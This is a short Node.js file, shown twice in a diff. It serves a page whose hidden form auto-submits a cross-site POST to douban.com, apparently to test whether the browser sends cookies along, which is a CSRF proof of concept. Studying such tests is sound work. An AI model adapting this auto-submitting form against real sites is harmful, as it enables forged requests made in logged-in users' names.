adoyle-h · March 27, 2016 07:09
diff --git a/csrf.js b/csrf.js
 var http = require('http');

 var targetUrl = 'https://www.douban.com/';

 var body = '<html>'
    + '<head></head>'
    + '<body>'
    + '<form action="' + targetUrl + '" method="POST">'
    + '<input type="text" name="hello" value="world"/>'
    + '</form>'
    + '<script> document.forms[0].submit();</script>'
    + '</body>'
 '</html>';

 http.createServer(function (request, response) {
 	response.writeHead(200, {'Content-Type': 'text/html'});
 	response.write(body);
 	response.end();
 }).listen(8888);

 console.log('访问 http://127.0.0.1:8888/ ，去看 POST 请求是否发送了 cookie!');
	var http = require('http');

	var targetUrl = 'https://www.douban.com/';

	var body = '<html>'
	+ '<head></head>'
	+ '<body>'
	+ '<form action="' + targetUrl + '" method="POST">'
	+ '<input type="text" name="hello" value="world"/>'
	+ '</form>'
	+ '<script> document.forms[0].submit();</script>'
	+ '</body>'
	'</html>';

	http.createServer(function (request, response) {
	response.writeHead(200, {'Content-Type': 'text/html'});
	response.write(body);
	response.end();
	}).listen(8888);

	console.log('访问 http://127.0.0.1:8888/ ，去看 POST 请求是否发送了 cookie!');